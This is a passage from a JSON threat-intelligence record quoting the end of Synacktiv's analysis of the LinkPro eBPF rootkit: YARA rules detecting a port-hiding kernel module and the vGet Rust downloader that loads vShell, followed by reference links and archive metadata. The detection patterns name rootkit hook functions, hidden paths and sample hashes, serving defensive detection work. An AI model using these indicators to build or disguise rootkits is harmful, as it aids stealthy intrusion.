ascii\r\n $hook_tcp6 = \"hook_tcp6_seq_show\" fullword ascii\r\n $hook_tcp4 = \"hook_tcp4_seq_show\" fullword ascii\r\n $ftrace = \"ftrace_thunk\" fullword ascii\r\n $hide_entry = \"hide_port_init\" fullword ascii\r\n $hide_exit = \"hide_port_exit\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003c 2MB and elf.type == elf.ET_REL\r\n and $ftrace\r\n and 2 of ($hook*)\r\n and 1 of ($hide*)\r\n}\r\nimport \"elf\"\r\nrule MAL_vGet_ELF_Downloader_Rust_Oct25 {\r\n meta:\r\n description = \"Detects vGet Downloader, observed to load vShell\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb\"\r\n hash = \"caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2\"\r\n strings:\r\n $hc_rust = \"RUST_BACKTRACE\" fullword ascii\r\n $hc_symlink = \"/tmp/.del\" fullword ascii\r\n $hc_proxy = \"Proxy-Authorization:\" fullword ascii\r\n $lc_crypto_chacha = \"expand 32-byte k\" fullword ascii\r\n $lc_pdfuser = \"cosmanking\" fullword ascii\r\n $lc_local = \"127.0.0.1\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003e 500KB and filesize \u003c 3MB\r\n and elf.type == elf.ET_DYN\r\n and all of ($hc*)\r\n and 1 of ($lc*)\r\n}\r\n1. https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controlle…\r\n2. https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossibl…\r\n3. https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find…\r\n4. https://github.com/Gui774ume/ebpfkit\r\n5. https://github.com/bfengj/eBPFeXPLOIT/tree/main\r\n6. https://www.jenkins.io/security/advisory/2024-01-24/\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 33 of 34\n\n7. https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html\r\n8. https://github.com/vnt-dev/vnt\r\n9. https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vs…\r\n10. https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell\r\n11. https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight\r\n12. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/\r\n13. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/\r\n14. https://attack.mitre.org/techniques/T1574/006/\r\n15. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/\r\n16. https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kp…\r\n17. https://ebpf-go.dev/\r\n18. https://docs.ebpf.io/linux/concepts/maps/\r\n19. https://docs.ebpf.io/linux/program-type/\r\n20. https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/\r\n21. https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html\r\n22. https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691\r\n23. https://bpftool.dev/\r\n24. https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339\r\n25. https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html\r\n26. https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_…\r\n27. https://www.datadoghq.com/blog/xdp-intro/\r\n28. https://docs.ebpf.io/linux/concepts/pinning/\r\n29. https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink\r\n30. https://github.com/creack/pty?tab=readme-ov-file#shell\r\n31. https://github.com/RedTeamPentesting/resocks\r\nSource: https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 34 of 34",
	"extraction_quality": 1,
	"language": "FR",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf"
	],
	"report_names": [
		"linkpro-analyse-dun-rootkit-ebpf"
	],
	"threat_actors": [],
	"ts_created_at": 1775791246,
	"ts_updated_at": 1775791338,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6ca08bcd5c750ae535856ab696321e43cc3836a0.pdf",
		"text": "https://archive.orkl.eu/6ca08bcd5c750ae535856ab696321e43cc3836a0.txt",
		"img": "https://archive.orkl.eu/6ca08bcd5c750ae535856ab696321e43cc3836a0.jpg"
	}
}